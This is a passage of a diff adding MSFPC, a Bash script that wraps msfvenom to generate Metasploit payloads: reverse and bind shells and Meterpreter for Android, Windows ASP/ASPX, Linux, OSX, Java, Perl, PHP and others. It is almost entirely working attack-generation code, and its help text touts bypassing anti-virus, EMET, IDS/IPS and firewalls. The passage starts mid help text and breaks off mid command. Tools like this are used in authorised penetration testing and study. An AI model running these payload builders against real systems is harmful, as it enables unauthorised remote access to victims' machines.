-e " + ${YELLOW}Powershell${RESET} [.${YELLOW}ps1${RESET}]" + echo -e " + ${YELLOW}Python${RESET} [.${YELLOW}py${RESET}]" + echo -e " + ${YELLOW}Tomcat${RESET} [.${YELLOW}war${RESET}]" + echo -e " + ${YELLOW}Windows${RESET} [.${YELLOW}exe${RESET} // .${YELLOW}exe${RESET} // .${YELLOW}dll${RESET}]" + echo "" + echo -e " Rather than putting , you can do a interface and MSFPC will detect that IP address." + echo -e " Missing will default to the IP menu." + echo "" + echo -e " Missing will default to 443." + echo "" + echo -e " is a standard/native command prompt/terminal to interactive with." + echo -e " is a custom cross platform shell, gaining the full power of Metasploit." + echo -e " Missing will default to where possible." + if [[ "${VERBOSE}" == "true" ]]; then + echo -e " Note: Metasploit doesn't (yet!) support for every format." + echo -e " payloads are generally smaller than and easier to bypass EMET. Limit Metasploit post modules/scripts support." + echo -e " payloads are generally much larger than , as it comes with more features." + fi + echo "" + echo -e " opens a port on the target side, and the attacker connects to them. Commonly blocked with ingress firewalls rules on the target." + echo -e " makes the target connect back to the attacker. The attacker needs an open port. Blocked with engress firewalls rules on the target." + echo -e " Missing will default to ." + [[ "${VERBOSE}" == "true" ]] \ + && echo -e " allows for the attacker to connect whenever they wish. needs to the target to be repeatedly connecting back to permanent maintain access." + echo "" + echo -e " splits the payload into parts, making it smaller but dependent on Metasploit." + echo -e " is the complete standalone payload. More 'stable' than ." + echo -e " Missing will default to where possible." + if [[ "${VERBOSE}" == "true" ]]; then + echo -e " Note: Metasploit doesn't (yet!) support for every format." + echo -e " are 'better' in low-bandwidth/high-latency environments." + echo -e " are seen as 'stealthier' when bypassing Anti-Virus protections. may work 'better' with IDS/IPS." + echo -e " More information: https://community.rapid7.com/community/metasploit/blog/2015/03/25/stageless-meterpreter-payloads" + echo -e " https://www.offensive-security.com/metasploit-unleashed/payload-types/" + echo -e " https://www.offensive-security.com/metasploit-unleashed/payloads/" + fi + echo "" + echo -e " is the standard method to connecting back. This is the most compatible with TYPES as its RAW. Can be easily detected on IDSs." + echo -e " makes the communication appear to be HTTP traffic (unencrypted). Helpful for packet inspection, which limit port access on protocol - e.g. TCP 80." + echo -e " makes the communication appear to be (encrypted) HTTP traffic using as SSL. Helpful for packet inspection, which limit port access on protocol - e.g. TCP 443." + echo -e " will attempt every port on the target machine, to find a way out. Useful with stick ingress/engress firewall rules. Will switch to 'allports' based on ." + echo -e " Missing will default to ." + if [[ "${VERBOSE}" == "true" ]]; then + echo -e " By altering the traffic, such as and even more , it will slow down the communication & increase the payload size." + echo -e " More information: https://community.rapid7.com/community/metasploit/blog/2011/06/29/meterpreter-httphttps-communication" + fi + echo "" + echo -e " will generate as many combinations as possible: , , , & " + echo -e " will just create one of each ." + echo "" + echo -e " will display more information." + exit 1 +} + + +#-Start-------------------------------------------------------# + + +## Banner +echo -e " ${BLUE}[*]${RESET} ${BLUE}MSF${RESET}venom ${BLUE}P${RESET}ayload ${BLUE}C${RESET}reator (${BLUE}MSFPC${RESET} v${BLUE}1.4.5${RESET})" + + +## Check system +## Are we using Linux or OSX? +if [[ "$( \uname )" != "Linux" ]] && [[ "$( \uname )" != "Darwin" ]]; then + echo -e " ${YELLOW}[i]${RESET} Something went wrong. ${RED}You're not using Unix-like OS${RESET}" >&2 + exit 3 +elif [[ "$( \uname )" = "Darwin" ]]; then + DARWIN=true +fi + +## msfvenom installed? +if [[ ! -n "$( \which msfvenom )" ]]; then + echo -e " ${YELLOW}[i]${RESET} Something went wrong. ${RED}Couldn't find msfvenom${RESET}" >&2 + exit 3 +fi + +## cURL/wget installed? +if [[ -n "$( \which curl )" || -n "$( \which wget )" ]]; then + ## Try and get external IP + WAN="" + [[ -n "$( \which curl )" ]] \ + && CMD="\curl -s --max-time 3" \ + || CMD="\wget -U 'curl' --connect-timeout 3 -qO-" + for url in 'http://ipinfo.io/ip' 'http://ifconfig.io/'; do + WAN=$( eval ${CMD} "${url}" ) + [[ -n "${WAN}" ]] \ + && break + done + [[ "${VERBOSE}" == "true" && -z "${WAN}" ]] \ + && echo -e " ${YELLOW}[i]${RESET} Something went wrong. ${RED}Couldn't get external WAN IP${RESET}" >&2 +fi + +## Is there a writeable path for us? +if [[ ! -d "${OUTPATH}" ]]; then + echo -e " ${YELLOW}[i]${RESET} Something went wrong. ${RED}Unable to use ${OUTPATH}${RESET}" >&2 + exit 3 +fi + + +## Get default values (before batch/loop) +[[ -z "${PORT}" ]] \ + && PORT="443" + +## Get NIC information +if [[ "$DARWIN" = "true" ]]; then # OSX users + IFACE=( $( for IFACE in $( \ifconfig -l -u | \tr ' ' '\n' ); do if ( \ifconfig ${IFACE} | \grep inet 1>/dev/null ); then echo ${IFACE}; fi; done ) ) + IPs=(); for (( i=0; i<${#IFACE[@]}; ++i )); do IPs+=( $( \ifconfig "${IFACE[${i}]}" | \grep 'inet ' | \grep -E '([[:digit:]]{1,2}.){4}' | \sed -e 's_[:|addr|inet]__g; s_^[ \t]*__' | \awk '{print $1}' ) ); done +else # nix users + IFACE=( $( \awk '/:/ {print $1}' /proc/net/dev | \sed 's_:__' ) ) + IPs=(); for (( i=0; i<${#IFACE[@]}; ++i )); do IPs+=( $( \ip addr list "${IFACE[${i}]}" | \grep 'inet ' | \cut -d' ' -f6 | \cut -d '/' -f1 ) ); done +fi + +## Define TYPEs/FORMATs +TYPEs=( apk asp aspx bash java linux osx perl php powershell python tomcat windows ) # Due to how its coded, this must always be a higher array count than ${FORMATs} +FORMATs=( sh jsp lin elf macho pl ps1 py war win exe exe-service dll ) + + +## Check user input +## Able to detect NIC interfaces? +if [[ -z "${IFACE}" ]]; then + echo -e " ${YELLOW}[i]${RESET} Something went wrong. ${RED}Couldn't find any network interfaces${RESET}" >&2 + echo -e " ${YELLOW}[i]${RESET} Need to manually define an IP. ${YELLOW}${0} --ip ${RESET}" >&2 + exit 2 +fi + +## Able to detect IP addresses? +if [[ -z "${IPs}" ]]; then + echo -e " ${YELLOW}[i]${RESET} Something went wrong. ${RED}Couldn't discover IP addresses${RESET}. =(" >&2 + echo -e " ${YELLOW}[i]${RESET} Need to manually define it. ${YELLOW}${0} --ip ${RESET}" >&2 + exit 2 +fi + +## (!!!Magic Alert!!!) Try to predict what's what with inputs... +for x in $( \tr '[:upper:]' '[:lower:]' <<< "$@" ); do + if [[ "${x}" =~ ^--* ]]; then true # Long argument? (skip!) + elif [[ "${x}" == "list" || "${x}" == "ls" || "${x}" == "options" || "${x}" == "show" || "${x}" == "help" ]]; then HELP=true # List types? (aka help screen) + elif [[ "${x}" == "verbose" || "${x}" == "v" ]]; then VERBOSE=true # Verbose? + elif [[ "${x}" == "all" || "${x}" == "batch" || "${x}" == "a" ]]; then BATCH=true # Batch mode? + elif [[ "${x}" == "loop" || "${x}" == "l" ]]; then LOOP=true # Loop mode? + elif [[ "${x}" == "cmd" || "${x}" == "shell" || "${x}" == "normal" ]]; then SHELL="shell" # Shell? + elif [[ "${x}" == "meterpreter" || "${x}" == "msf" || "${x}" == "meterp" ]]; then SHELL="meterpreter" # Meterpreter? + elif [[ "${x}" == "bind" || "${x}" == "listen" ]]; then DIRECTION="bind" # Bind payload? + elif [[ "${x}" == "reverse" || "${x}" == "rev" ]]; then DIRECTION="reverse" # Reverse payload? (default) + elif [[ "${x}" == "staged" || "${x}" == "stager" || "${x}" == "stage" || "${x}" == "small" ]]; then STAGE=true # Staged? + elif [[ "${x}" == "stag"*"less" || "${x}" == "single" || "${x}" == "inline" || "${x}" == "no"* || "${x}" == "full" ]]; then STAGE=false # Stageless? + elif [[ "${x}" == "https" || "${x}" == "ssl" || "${x}" == "tls" ]]; then METHOD="https" # HTTPS payload? + elif [[ "${x}" == "http" || "${x}" == "www" ]]; then METHOD="http" # HTTP payload? + elif [[ "${x}" == "tcp" ]]; then METHOD="tcp" # TCP payload? (default) + elif [[ "${x}" == "find"* || "${x}" == "allport"* ]]; then METHOD="find_port" # Find_Port payload? + elif [[ "${x}" =~ ^-?[0-9]+$ && "${x}" -gt 1 && "${x}" -lt 65535 ]]; then PORT="${x}" # Port? + elif [[ "${x}" =~ ^([0-9]{1,3})[.]([0-9]{1,3})[.]([0-9]{1,3})[.]([0-9]{1,3})$ ]]; then IP="${x}" # IP? + elif [[ "${x}" == *.* ]]; then IP="${x}" # Domain/DNS? (weak detection & doesn't support hostname) + elif [[ "${x}" == "wan" && -n "${WAN}" ]]; then IP="${WAN}" # WAN interface? + else + known=false + for (( i=0; i<${#IFACE[@]}; ++i )); do [[ "${x}" == "${IFACE[${i}]}" ]] && IP="${IPs[${i}]}" && known=true && break; done # Interface? (rather than a an IP) + for (( i=0; i<${#TYPEs[@]}; ++i )); do [[ "${x}" == "${TYPEs[${i}]}" ]] && TYPE="${TYPEs[${i}]}" && known=true && break; done # Type? + for (( i=0; i<${#FORMATs[@]}; ++i )); do [[ "${x}" == "${FORMATs[${i}]}" ]] && TYPE="${FORMATs[${i}]}" && known=true && break; done # Type? (aka formats) + [[ "${known}" == false ]] \ + && echo -e " ${YELLOW}[i]${RESET} Unable to detect value: ${RED}${x}${RESET}" \ + && exit 1 # ...if we got this far, we failed. =( + fi +done + +## If the user defined a value, overwrite it regardless +while [[ "${#}" -gt 0 && ."${1}" == .-* ]]; do + opt="${1}"; + shift; + case "$( echo ${opt} | tr '[:upper:]' '[:lower:]' )" in + -|-- ) break 2;; + + -p|--platform ) + TYPE="${1}"; shift;; + --platform=* ) + TYPE="${opt#*=}";; + -t|--type ) + TYPE="${1}"; shift;; + --type=* ) + TYPE="${opt#*=}";; + + -i|--ip ) + IP="${1}"; shift;; + --ip=* ) + IP="${opt#*=}";; + + -p|--port ) + PORT="${1}"; shift;; + --port=* ) + PORT="${opt#*=}";; + + -m|--msf|--meterpreter ) + SHELL="meterpreter";; + -c|--cmd|--shell ) + SHELL="shell";; + --shell ) + SHELL="${1}"; shift;; + --shell=* ) + SHELL="${opt#*=}";; + + -b|--bind|--listen ) + DIRECTION="bind";; + -r|--rev|--reverse ) + DIRECTION="reverse";; + --direction ) + DIRECTION="${1}"; shift;; + --direction=* ) + DIRECTION="${opt#*=}";; + + -s|--staged|--stager ) + STAGE=true;; + --stageless ) + STAGE=false;; + --stage ) + STAGE="${1}"; shift;; + --stage=* ) + STAGE="${opt#*=}";; + + -t|--tcp ) + METHOD="tcp";; + --http|--www ) + METHOD="http";; + --https|--ssl|--tls ) + METHOD="https";; + -f|--find|--all|--find_port|--find-port|--findport|--allports|--all-ports|--all_ports ) + METHOD="find_port";; + --method ) + METHOD="${1}"; shift;; + --method=* ) + METHOD="${opt#*=}";; + + -a|--all|--batch ) + BATCH=true;; + -l|--loop ) + LOOP=true;; + + -v|--verbose ) + VERBOSE=true;; + + -h|--help|-ls|--list|--options ) + HELP=true;; + + *) echo -e " ${YELLOW}[i]${RESET} Invalid option: ${RED}${x}${RESET}" && exit 1;; + esac +done + + +## Display help? +[[ "${HELP}" == true ]] \ + && doHelp + + +## Check input + if [[ "${SHELL}" == "shell" || "${SHELL}" == "cmd" || "${SHELL}" == "normal" ]]; then SHELL="shell" +elif [[ "${SHELL}" == "meterpreter" || "${SHELL}" == "msf" || "${SHELL}" == "meterp" ]]; then SHELL="meterpreter"; fi +#else SHELL="meterpreter"; fi # <--- cant due to batch mode (same with [[ -z "${SHELL}" ]]) + + if [[ "${DIRECTION}" == "reverse" || "${DIRECTION}" == "rev" ]]; then DIRECTION="reverse" +elif [[ "${DIRECTION}" == "bind" || "${DIRECTION}" == "listen" ]]; then DIRECTION="bind"; fi + + if [[ "${STAGE}" == "true" || "${STAGE}" == "staged" || "${STAGE}" == "stager" || "${STAGE}" == "stage" || "${STAGE}" == "small" ]]; then STAGE='staged'; _STAGE='/' +elif [[ "${STAGE}" == "false" || "${STAGE}" == "stage"*"less" || "${STAGE}" == "single" || "${STAGE}" == "inline" || "${STAGE}" == "no"* || "${STAGE}" == "full" ]]; then STAGE='stageless'; _STAGE='_'; fi + + if [[ "${METHOD}" == "tcp" ]]; then METHOD="tcp" +elif [[ "${METHOD}" == "http" || "${METHOD}" == "www" ]]; then METHOD="http" +elif [[ "${METHOD}" == "https" || "${METHOD}" == "tls" || "${METHOD}" == "ssl" ]]; then METHOD="https" +elif [[ "${METHOD}" == "find"* || "${METHOD}" == "all"* ]]; then METHOD="find_port"; fi + +## Did user enter an interface instead of an IP address? +for (( x=0; x<${#IFACE[@]}; ++x )); do [[ "${IP}" == "${IFACE[${x}]}" ]] && IP=${IPs[${x}]} && break; done + +## WAN interface? +if [[ -n "${WAN}" && "${IP}" == "${WAN}" ]]; then + [[ "${VERBOSE}" == "true" ]] \ + && echo -e " ${YELLOW}[i]${RESET} WAN IP: ${YELLOW}${WAN}${RESET} " +fi + +## Valued entered for IP address? Is it a valid IPv4 address? Else assume its a domain... +if [[ "${IP}" =~ ^([0-9]{1,3})[.]([0-9]{1,3})[.]([0-9]{1,3})[.]([0-9]{1,3})$ ]]; then + for (( i=1; i<${#BASH_REMATCH[@]}; ++i )); do + (( ${BASH_REMATCH[${i}]} <= 255 )) || { echo -e " ${YELLOW}[i]${RESET} IP (${IP}) appears to be a ${RED}invalid IPv4 address${RESET} =(" >&2 && exit 3; } + done +elif [[ -n "${IP}" ]]; then + echo -e " ${YELLOW}[i]${RESET} ${IP} isn't a IPv4 address. ${YELLOW}Assuming its a domain name${RESET}..." + DOMAIN=true +fi + +## Valid port? +if [[ "${PORT}" -lt 1 || "${PORT}" -gt 65535 ]]; then + echo -e " ${YELLOW}[i]${RESET} PORT (${PORT}) is incorrect. Needs to be ${YELLOW}between 1-65535${RESET}" >&2 + exit 3 +fi + + +## IP menu +if [[ -n "${TYPE}" && -z "${IP}" ]]; then + echo -e "\n ${YELLOW}[i]${RESET} Use which ${BLUE}interface${RESET} - ${YELLOW}IP address${RESET}?:" + I=0 + for iface in "${IFACE[@]}"; do + IPs[${I}]="$( \ifconfig "${iface}" | \grep 'inet ' | \grep -E '([[:digit:]]{1,2}.){4}' | \sed -e 's_[:|addr|inet]__g; s_^[ \t]*__' | \awk '{print $1}' )" + [[ -z "${IPs[${I}]}" ]] \ + && IPs[${I}]="$( \ifconfig "${iface}" | \grep 'inet addr:' | \cut -d':' -f2 | \cut -d' ' -f1 )" + [[ -z "${IPs[${I}]}" ]] \ + && IPs[${I}]="UNKNOWN" + echo -e " ${YELLOW}[i]${RESET} ${GREEN}$[${I}+1]${RESET}.) ${BLUE}${iface}${RESET} - ${YELLOW}${IPs[${I}]}${RESET}" + I=$[${I}+1] + done + [[ -n "${WAN}" ]] \ + && I=$[${I}+1] \ + && echo -e " ${YELLOW}[i]${RESET} ${GREEN}$[${I}]${RESET}.) ${BLUE}wan${RESET} - ${YELLOW}${WAN}${RESET}" + _IP="" + while [[ -z "${_IP}" ]]; do + echo -ne " ${YELLOW}[?]${RESET} Select ${GREEN}1-${I}${RESET}, ${BLUE}interface${RESET} or ${YELLOW}IP address${RESET}"; read -p ": " INPUT + for (( x=0; x<${I}; ++x )); do [[ "${INPUT}" == "${IFACE[${x}]}" ]] && _IP="${IPs[${x}]}"; done # Did user enter interface? + [[ -n "${WAN}" && "${INPUT}" == "${INPUT}" ]] && _IP="${WAN}" # Did user enter wan? + [[ "${INPUT}" != *"."* && "${INPUT}" -ge 1 && "${INPUT}" -le "${I}" ]] && _IP="${IPs[${INPUT}-1]}" # Did user select number? + #for ip in "${IPs[@]}"; do [[ "${INPUT}" == "${ip}" ]] && _IP="${ip}"; done # Did user enter a known IP? + [[ "${INPUT}" =~ ^([0-9]{1,3})[.]([0-9]{1,3})[.]([0-9]{1,3})[.]([0-9]{1,3})$ ]] && _IP="${INPUT}" # Did the user enter a IP address (doesn't valid it) + IP="${_IP}" + done + echo "" +fi + + +## Generate #1 (Batch/Looping) +## Loop mode? +if [[ "${LOOP}" == "true" ]]; then + echo -e " ${YELLOW}[i]${RESET} Loop Mode. ${BOLD}Creating one of each TYPE${RESET}, with default values" + [[ "${VERBOSE}" == "true" ]] \ + && _VERBOSE="verbose" + for (( i=0; i<${#TYPEs[@]}; ++i )); do + echo "" # "${TYPEs[${i}]}" "${IP}" "${PORT}" "${_VERBOSE}" + eval "${0}" "${TYPEs[${i}]}" "${IP}" "${PORT}" "${_VERBOSE}" # chmod +x ${0} + echo "" + done # for TYPEs[@] + echo "" + eval "${0}" "dll" "${IP}" "${PORT}" "${_VERBOSE}" #... the odd one out! + echo "" +elif [[ "${BATCH}" == "true" ]]; then + echo -e " ${YELLOW}[i]${RESET} Batch Mode. ${BOLD}Creating as many different combinations as possible${RESET}" + [[ "${VERBOSE}" == "true" ]] \ + && _VERBOSE="verbose" + for (( i=0; i<${#TYPEs[@]}; ++i )); do + if [[ -z "${TYPE}" || "${TYPEs[${i}]}" == "${TYPE}" || "${FORMATs[${i}]}" == "${TYPE}" ]]; then + type="${TYPEs[${i}]}" + [[ -n "${TYPE}" && "${FORMATs[${i}]}" == "${TYPE}" ]] && type="${FORMATs[${i}]}" + for shell in "meterpreter" "shell"; do + if [[ -z "${SHELL}" || "${shell}" == "${SHELL}" ]]; then + for direction in "reverse" "bind"; do + if [[ -z "${DIRECTION}" || "${direction}" == "${DIRECTION}" ]]; then + for staged in "staged" "stageless"; do + if [[ -z "${STAGE}" || "${staged}" == "${STAGE}" ]]; then + for method in "tcp" "http" "https" "find_port"; do + if [[ -z "${METHOD}" || "${method}" == "${METHOD}" ]]; then + echo "" # "${type}" "${IP}" "${PORT}" "${direction}" "${staged}" "${method}" "${shell}" "${_VERBOSE}" + eval "${0}" "${type}" "${IP}" "${PORT}" "${direction}" "${staged}" "${method}" "${shell}" "${_VERBOSE}" # chmod +x ${0} + echo "" + fi # "${method}" == "${METHOD}" + done # for protocol + fi # "${staged}" == "${STAGE}" + done # for staged + fi # "${direction}" == "${DIRECTION}" + done # for direction + fi # "${shell}" == "${SHELL}" + done # for shell + echo -e "\n" + fi # "${TYPEs[${i}]}" == "${TYPE}" + done # for TYPEs[@] +fi + + +## Set default values (after batch/loop) +[[ -z "${METHOD}" ]] \ + && METHOD="tcp" +[[ -z "${DIRECTION}" ]] \ + && DIRECTION="reverse" + +## Valid shell? +if [[ -n "${TYPE}" && "${SHELL}" != "shell" && "${SHELL}" != "meterpreter" && -n "${SHELL}" ]]; then + echo -e " ${YELLOW}[i]${RESET} SHELL (${SHELL}) is incorrect. Needs to be either ${YELLOW}shell${RESET} or ${YELLOW}meterpreter${RESET}" >&2 + exit 3 +fi + +## Valid staged? +if [[ -n "${TYPE}" && "${STAGE}" != "staged" && "${STAGE}" != "stageless" && -n "${STAGE}" ]]; then + echo -e " ${YELLOW}[i]${RESET} STAGED (${STAGE}) is incorrect. Needs to be either ${YELLOW}staged${RESET} or ${YELLOW}stageless${RESET}" >&2 + exit 3 +elif [[ -n "${TYPE}" && "${_STAGE}" != "/" && "${_STAGE}" != "_" && -n "${STAGE}" ]]; then # "${STAGE}" != "" is correct + echo -e " ${YELLOW}[i]${RESET} ${RED}Something went wrong (Internally) with stage: ${_STAGE}.${RESET}" + exit 2 +fi + +## If its not reverse (bind), the only option is tcp (not http/https/find_ports) +if [[ "${DIRECTION}" != "reverse" && "${METHOD}" != "tcp" ]]; then + echo -e " ${YELLOW}[i]${RESET} Unable to use ${METHOD} with ${DIRECTION}. Please ${YELLOW}switch to reverse${RESET}" >&2 + exit 3 +fi + + +## Bind shell does not use LHOST +LHOST="" +[[ "${DIRECTION}" == "reverse" ]] \ + && LHOST="LHOST=${IP}" + + +## Generate #2 (Single Payload) +## APK +if [[ "${TYPE}" == "apk" ]]; then + [[ -z "${SHELL}" ]] \ + && SHELL="meterpreter" + [[ -z "${STAGE}" ]] \ + && STAGE="stageless" \ + && _STAGE="/" + [[ "${METHOD}" == "find_port" ]] \ + && METHOD="allports" + TYPE="android" + FILEEXT="apk" + PAYLOAD="android/${SHELL}${_STAGE}${DIRECTION}_${METHOD}" + CMD="msfvenom -p ${PAYLOAD} \\\\\n ${LHOST} LPORT=${PORT} \\\\\n > '${OUTPATH}${TYPE}-${SHELL}-${STAGE}-${DIRECTION}-${METHOD}-${PORT}.${FILEEXT}'" + doAction "${TYPE}" "${IP}" "${PORT}" "${PAYLOAD}" "${CMD}" "${FILEEXT}" "${SHELL}" "${DIRECTION}" "${STAGE}" "${METHOD}" "${VERBOSE}" + + +## ASP +elif [[ "${TYPE}" == "asp" ]]; then + [[ -z "${SHELL}" ]] \ + && SHELL="meterpreter" + [[ -z "${STAGE}" ]] \ + && STAGE="staged" \ + && _STAGE="/" + [[ "${METHOD}" == "find_port" ]] \ + && METHOD="allports" + # Can't do: stageless meterpreter - The EXE generator now has a max size of 2048 bytes, please fix the calling module + if [[ "${STAGE}" == "stageless" && "${SHELL}" == "meterpreter" ]]; then + echo -e " ${YELLOW}[i]${RESET} Unable to do ${STAGE} ${SHELL} ASP. The result is over Metasploit's ${RED}file size limit${RESET}. =(" >&2 + #[[ "${VERBOSE}" != 'true' ]] && exit 5 # Force pass the warning? + fi + TYPE="windows" + FILEEXT="asp" + PAYLOAD="${TYPE}/${SHELL}${_STAGE}${DIRECTION}_${METHOD}" + CMD="msfvenom -p ${PAYLOAD} -f ${FILEEXT} \\\\\n --platform ${TYPE} -a x86 -e generic/none ${LHOST} LPORT=${PORT} \\\\\n > '${OUTPATH}${TYPE}-${SHELL}-${STAGE}-${DIRECTION}-${METHOD}-${PORT}.${FILEEXT}'" + doAction "${TYPE}" "${IP}" "${PORT}" "${PAYLOAD}" "${CMD}" "${FILEEXT}" "${SHELL}" "${DIRECTION}" "${STAGE}" "${METHOD}" "${VERBOSE}" + +## ASPX +elif [[ "${TYPE}" == "aspx" ]]; then + [[ -z "${SHELL}" ]] \ + && SHELL="meterpreter" + [[ -z "${STAGE}" ]] \ + && STAGE="staged" \ + && _STAGE="/" + [[ "${METHOD}" == "find_port" ]] \ + && METHOD="allports" + # Its able todo anything that you throw at it =). + TYPE="windows" + FILEEXT="aspx" + PAYLOAD="${TYPE}/${SHELL}${_STAGE}${DIRECTION}_${METHOD}" + CMD="msfvenom -p ${PAYLOAD} -f ${FILEEXT} \\\\\n --platform ${TYPE} -a x86 -e generic/none ${LHOST} LPORT=${PORT} \\\\\n > '${OUTPATH}${TYPE}-${SHELL}-${STAGE}-${DIRECTION}-${METHOD}-${PORT}.${FILEEXT}'" + doAction "${TYPE}" "${IP}" "${PORT}" "${PAYLOAD}" "${CMD}" "${FILEEXT}" "${SHELL}" "${DIRECTION}" "${STAGE}" "${METHOD}" "${VERBOSE}" + +## Bash +elif [[ "${TYPE}" == "bash" || "${TYPE}" == "sh" ]]; then + [[ -z "${SHELL}" ]] \ + && SHELL="shell" + [[ -z "${STAGE}" ]] \ + && STAGE="staged" \ + && _STAGE="/" + # Can't do: meterpreter or stageless - Invalid Payload Selected + # Can't do: bind option // http, https or find_port options + if [[ "${STAGE}" == "stageless" ]]; then + echo -e " ${YELLOW}[i]${RESET} Unable to do ${STAGE}. There ${RED}isn't a option in Metasploit to allow it${RESET}. =(" >&2 + elif [[ "${SHELL}" == "meterpreter" ]]; then + echo -e " ${YELLOW}[i]${RESET} Unable to do ${SHELL} Bash. There ${RED}isn't a Bash ${SHELL}${RESET}...yet?" >&2 + elif [[ "${DIRECTION}" != "reverse" ]]; then + echo -e " ${YELLOW}[i]${RESET} Unable to do ${DIRECTION}. There ${RED}isn't a ${DIRECTION} Bash${RESET}...yet?" >&2 + fi + TYPE="bash" + FILEEXT="sh" + PAYLOAD="cmd/unix${_STAGE}${DIRECTION}_bash" + CMD="msfvenom -p ${PAYLOAD} -f raw \\\\\n --platform unix -e generic/none -a cmd ${LHOST} LPORT=${PORT} \\\\\n > '${OUTPATH}${TYPE}-${SHELL}-${STAGE}-${DIRECTION}-${METHOD}-${PORT}.${FILEEXT}'" + doAction "${TYPE}" "${IP}" "${PORT}" "${PAYLOAD}" "${CMD}" "${FILEEXT}" "${SHELL}" "${DIRECTION}" "${STAGE}" "${METHOD}" "${VERBOSE}" + +## Java +elif [[ "${TYPE}" == "java" || "${TYPE}" == "jsp" ]]; then + [[ -z "${SHELL}" ]] \ + && SHELL="meterpreter" + [[ -z "${STAGE}" ]] \ + && STAGE="staged" \ + && _STAGE="/" + # Can't do: stageless meterpreter - Invalid Payload Selected + if [[ "${STAGE}" == "stageless" && "${SHELL}" == "meterpreter" ]]; then + echo -e " ${YELLOW}[i]${RESET} Unable to do ${STAGE} ${SHELL} Java. There ${RED}isn't a option in Metasploit to allow it${RESET}. =(" >&2 + fi + TYPE="java" + FILEEXT="jsp" + PAYLOAD="${TYPE}/${SHELL}${_STAGE}${DIRECTION}_${METHOD}" + CMD="msfvenom -p ${PAYLOAD} -f raw \\\\\n --platform ${TYPE} -e generic/none -a ${TYPE} ${LHOST} LPORT=${PORT} \\\\\n > '${OUTPATH}${TYPE}-${SHELL}-${STAGE}-${DIRECTION}-${METHOD}-${PORT}.${FILEEXT}'" + doAction "${TYPE}" "${IP}" "${PORT}" "${PAYLOAD}" "${CMD}" "${FILEEXT}" "${SHELL}" "${DIRECTION}" "${STAGE}" "${METHOD}" "${VERBOSE}" + +## Linux +elif [[ "${TYPE}" == "linux" || "${TYPE}" == "lin" || "${TYPE}" == "elf" ]]; then + [[ -z "${SHELL}" ]] \ + && SHELL="shell" + [[ -z "${STAGE}" ]] \ + && STAGE="staged" \ + && _STAGE="/" + # Can't do: stageless meterpreter - Invalid Payload Selected + if [[ "${STAGE}" == "stageless" && "${SHELL}" == "meterpreter" ]]; then + echo -e " ${YELLOW}[i]${RESET} Unable to do ${STAGE} ${SHELL} Linux. There ${RED}isn't a option in Metasploit to allow it${RESET}. =(" >&2 + fi + TYPE="linux" + FILEEXT="elf" #bin + PAYLOAD="${TYPE}/x86/${SHELL}${_STAGE}${DIRECTION}_${METHOD}" + CMD="msfvenom -p ${PAYLOAD} -f ${FILEEXT} \\\\\n --platform ${TYPE} -a x86 -e generic/none ${LHOST} LPORT=${PORT} \\\\\n > '${OUTPATH}${TYPE}-${SHELL}-${STAGE}-${DIRECTION}-${METHOD}-${PORT}.${FILEEXT}'" + doAction "${TYPE}" "${IP}" "${PORT}" "${PAYLOAD}" "${CMD}" "${FILEEXT}" "${SHELL}" "${DIRECTION}" "${STAGE}" "${METHOD}" "${VERBOSE}" + +## OSX +elif [[ "${TYPE}" == "osx" || "${TYPE}" == "macho" ]]; then + [[ -z "${SHELL}" ]] \ + && SHELL="shell" + [[ -z "${STAGE}" ]] \ + && STAGE="stageless" \ + && _STAGE="_" + # Can't do: meterpreter or stageless - Invalid Payload Selected + if [[ "${STAGE}" == "staged" ]]; then + echo -e " ${YELLOW}[i]${RESET} Unable to do ${STAGE} OSX. There ${RED}isn't a option in Metasploit to allow it${RESET}. =(" >&2 + elif [[ "${SHELL}" == "meterpreter" ]]; then + echo -e " ${YELLOW}[i]${RESET} Unable to do ${SHELL} OSX. There ${RED}isn't a OSX Meterpreter${RESET}...yet." >&2 + fi + TYPE="osx" + FILEEXT="macho" + PAYLOAD="osx/x86/${SHELL}${_STAGE}${DIRECTION}_${METHOD}" + CMD="msfvenom -p ${PAYLOAD} -f ${FILEEXT} \\\\\n --platform ${TYPE} -a x86 -e generic/none ${LHOST} LPORT=${PORT} \\\\\n > '${OUTPATH}${TYPE}-${SHELL}-${STAGE}-${DIRECTION}-${METHOD}-${PORT}.${FILEEXT}'" + doAction "${TYPE}" "${IP}" "${PORT}" "${PAYLOAD}" "${CMD}" "${FILEEXT}" "${SHELL}" "${DIRECTION}" "${STAGE}" "${METHOD}" "${VERBOSE}" + +## Perl +elif [[ "${TYPE}" == "perl" || "${TYPE}" == "pl" ]]; then + [[ -z "${SHELL}" ]] \ + && SHELL="shell" + [[ -z "${STAGE}" ]] \ + && STAGE="staged" \ + && _STAGE="/" + # Can't do: meterpreter or stageless - Invalid Payload Selected + if [[ "${STAGE}" == "stageless" ]]; then + echo -e " ${YELLOW}[i]${RESET} Unable to do ${STAGE} PERL. There ${RED}isn't a option in Metasploit to allow it${RESET}. =(" >&2 + elif [[ "${SHELL}" == "meterpreter" ]]; then + echo -e " ${YELLOW}[i]${RESET} Unable to do ${SHELL} PERL. There ${RED}isn't a PERL Meterpreter${RESET}...yet." >&2 + fi + TYPE="linux" + FILEEXT="pl" + PAYLOAD="cmd/unix${_STAGE}${DIRECTION}_perl" + CMD="msfvenom -p ${PAYLOAD} -f ${FILEEXT} \\\\\n --platform unix -a cmd -e generic/none ${LHOST} LPORT=${PORT} \\\\\n > '${OUTPATH}${TYPE}-${SHELL}-${STAGE}-${DIRECTION}-${METHOD}-${PORT}.${FILEEXT}'" + doAction "${TYPE}" "${IP}" "${PORT}" "${PAYLOAD}" "${CMD}" "${FILEEXT}" "${SHELL}" "${DIRECTION}" "${STAGE}" "${METHOD}" "${VERBOSE}" + +## PHP +elif [[ "${TYPE}" == "php" ]]; then + [[ -z "${SHELL}" ]] \ + && SHELL="meterpreter" + [[ -z "${STAGE}" ]] \ + && STAGE="staged" \ + && _STAGE="/" + # Can't do: shell - Invalid Payload Selected + if [[ "${SHELL}" == "shell" ]]; then + echo -e " ${YELLOW}[i]${RESET} Unable to do ${SHELL} PHP. There ${RED}isn't a option in Metasploit to allow it${RESET}. =(" >&2 + fi + TYPE="php" + FILEEXT="php" + PAYLOAD="${TYPE}/${SHELL}${_STAGE}${DIRECTION}_${METHOD}" + CMD="msfvenom -p ${PAYLOAD} -f raw \\\\\n --platform ${TYPE} -e generic/none -a ${TYPE} ${LHOST} LPORT=${PORT} \\\\\n > '${OUTPATH}${TYPE}-${SHELL}-${STAGE}-${DIRECTION}-${METHOD}-${PORT}.${FILEEXT}'" + doAction "${TYPE}" "${IP}" "${PORT}" "${PAYLOAD}" 